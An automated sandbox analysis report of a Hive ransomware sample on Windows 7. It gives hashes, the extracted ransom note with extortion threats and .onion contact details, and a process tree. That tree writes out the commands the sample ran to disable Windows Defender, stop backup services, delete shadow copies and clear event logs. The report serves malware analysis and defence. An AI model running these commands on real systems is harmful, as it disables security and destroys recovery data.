Analysis

  • max time kernel
    143s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    12/03/2025, 02:06

General

  • Target

    2025-03-12_f5d7efaec3c1274b0aaa704a6caa1671_frostygoop_hive_sliver_snatch.exe

  • Size

    3.1MB

  • MD5

    f5d7efaec3c1274b0aaa704a6caa1671

  • SHA1

    ec5c25e1cee1dca5c75baf5a6e3bec69441959dc

  • SHA256

    5baa791a0bcaff60080472bfa434631bc7524b8a10989ed6e7b200f010cb8e1d

  • SHA512

    dab0a8060e9012706ae6ba46adeb2f18e5edecdc187e856989236dd0edb46ed7912cee97cee1c9fb075724c5d736b07e418991d1a3793bee6770d51618dd607f

  • SSDEEP

    49152:imfcJ4D5NnqxkGcfxPxZHPlCJKC732T4rOB3IJ2LL8JcL8LBetlyQ1D11:imfcO1Nq6GcfRdF

Malware Config

Extracted

Path

C:\Program Files\GyDM_HOW_TO_DECRYPT.txt

Family

hive

Ransom Note
Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: 7nVm318mZGHq Password: yDfdV72zJcLft6fDRx3y To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.jhps7 files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Deletes Windows Defender Definitions 2 TTPs 1 IoCs

    Uses mpcmdrun utility to delete all AV definitions.

  • Disables service(s) 3 TTPs
  • Hive

    A ransomware written in Golang first seen in June 2021.

  • Hive family
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Clears Windows event logs 1 TTPs 3 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Location Discovery: System Language Discovery 1 TTPs 64 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 3 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2025-03-12_f5d7efaec3c1274b0aaa704a6caa1671_frostygoop_hive_sliver_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2025-03-12_f5d7efaec3c1274b0aaa704a6caa1671_frostygoop_hive_sliver_snatch.exe"
    1⤵
    • Drops file in Program Files directory
    • System Location Discovery: System Language Discovery
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2496
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "NetMsmqActivator" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2500
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "NetMsmqActivator" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2892
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2464
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2280
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SDRSVC" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2416
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SDRSVC" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2148
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "SstpSvc" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2680
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "SstpSvc" /y
        3⤵
        • System Location Discovery: System Language Discovery
        PID:2720
    • C:\Windows\SysWOW64\net.exe
      net.exe stop "UI0Detect" /y
      2⤵
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2776
      • C:\Windows\SysWOW64\net1.exe
        C:\Windows\system32\net1 stop "UI0Detect" /y
        3⤵
          PID:2832
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "VSS" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2860
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "VSS" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:3008
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "wbengine" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2840
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "wbengine" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2792
      • C:\Windows\SysWOW64\net.exe
        net.exe stop "WebClient" /y
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2580
        • C:\Windows\SysWOW64\net1.exe
          C:\Windows\system32\net1 stop "WebClient" /y
          3⤵
          • System Location Discovery: System Language Discovery
          PID:2688
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "NetMsmqActivator" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2732
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "SamSs" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2600
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "SDRSVC" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2980
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "SstpSvc" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2684
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "UI0Detect" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2568
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "VSS" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2644
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "wbengine" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2200
      • C:\Windows\SysWOW64\sc.exe
        sc.exe config "WebClient" start= disabled
        2⤵
        • Launches sc.exe
        • System Location Discovery: System Language Discovery
        PID:2096
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
        2⤵
        • Modifies Security services
        • System Location Discovery: System Language Discovery
        PID:1996
      • C:\Windows\SysWOW64\reg.exe
        reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2748
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender DisableAntiSpyware settings
        • System Location Discovery: System Language Discovery
        PID:2372
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2316
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:1720
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:1044
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:2672
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:2004
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:1988
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
        2⤵
        • Modifies Windows Defender Real-time Protection settings
        • System Location Discovery: System Language Discovery
        PID:2936
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2424
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
        2⤵
        • System Location Discovery: System Language Discovery
        PID:2920
      • C:\Windows\SysWOW64\reg.exe
        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
        2⤵
          PID:2668
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2172
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1620
        • C:\Windows\SysWOW64\reg.exe
          reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2144
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2168
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
          2⤵
          • System Location Discovery: System Language Discovery
          PID:916
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
          2⤵
          • System Location Discovery: System Language Discovery
          PID:1104
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2940
        • C:\Windows\SysWOW64\schtasks.exe
          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
          2⤵
            PID:992
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1368
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1100
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1532
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1636
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2136
          • C:\Windows\SysWOW64\reg.exe
            reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
            2⤵
            • System Location Discovery: System Language Discovery
            PID:1768
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:848
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:1536
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:2232
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:1312
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies security service
            • System Location Discovery: System Language Discovery
            PID:1148
          • C:\Windows\SysWOW64\reg.exe
            reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
            2⤵
            • Modifies Security services
            • System Location Discovery: System Language Discovery
            PID:576
          • C:\Windows\SysWOW64\vssadmin.exe
            vssadmin.exe delete shadows /all /quiet
            2⤵
            • System Location Discovery: System Language Discovery
            • Interacts with shadow copies
            PID:1384
          • C:\Windows\SysWOW64\wevtutil.exe
            wevtutil.exe cl system
            2⤵
            • Clears Windows event logs
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:2392
          • C:\Windows\SysWOW64\wevtutil.exe
            wevtutil.exe cl security
            2⤵
            • Clears Windows event logs
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:2520
          • C:\Windows\SysWOW64\wevtutil.exe
            wevtutil.exe cl application
            2⤵
            • Clears Windows event logs
            • Suspicious use of AdjustPrivilegeToken
            PID:900
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            wmic.exe SHADOWCOPY /nointeractive
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:2228
          • C:\Windows\SysWOW64\Wbem\wmic.exe
            wmic.exe shadowcopy delete
            2⤵
            • System Location Discovery: System Language Discovery
            • Suspicious use of AdjustPrivilegeToken
            PID:2352
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
            2⤵
            • System Location Discovery: System Language Discovery
            PID:2312
            • C:\Program Files\Windows Defender\MpCmdRun.exe
              "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
              3⤵
              • Deletes Windows Defender Definitions
              PID:2892
          • C:\Windows\SysWOW64\cmd.exe
            cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
            2⤵
              PID:2888
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell Set-MpPreference -DisableIOAVProtection $true
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:1848
            • C:\Windows\SysWOW64\cmd.exe
              cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
              2⤵
              • System Location Discovery: System Language Discovery
              PID:2780
              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                powershell Set-MpPreference -DisableRealtimeMonitoring $true
                3⤵
                • Command and Scripting Interpreter: PowerShell
                • System Location Discovery: System Language Discovery
                • Suspicious behavior: EnumeratesProcesses
                PID:2772

          Network

          MITRE ATT&CK Enterprise v15

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          Downloads

          • C:\Program Files\GyDM_HOW_TO_DECRYPT.txt

            Filesize

            1KB

            MD5

            1baa273d4db8d917553db9f7f30cfa1e

            SHA1

            c6e9e81aeb6e1b75317874b79a0b94ecdf235bf6

            SHA256

            df70bc8ecc225eba78e05789f7922efd830321899b700d9770d385f10bbfbf79

            SHA512

            798efefc754d9c031066e050155f8cae2f82c585ef2b8725807ff72e58cf4ac0ef13419e4a623bb3d1d1cf34bd6b89420bdf1de066acc8b833a7110cdfbf62ec

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

            Filesize

            7KB

            MD5

            e46a7039dc843ba8c06b76bde2725690

            SHA1

            92646d8ee73b5b210f5acc2e1b5746fe95cd4ca9

            SHA256

            905b2f4f489a7eb5547813724bfc5a686af33bc547b7ffe9439d45479387ef66

            SHA512

            c44b0f5431d5ade2c5bdd2e88fb3b00b184a3853ed9986208265c041ac12a82ef1c6d44c59d22cae3bb9df1c3a74d416a0844bee02322b8ba595f194745fbe27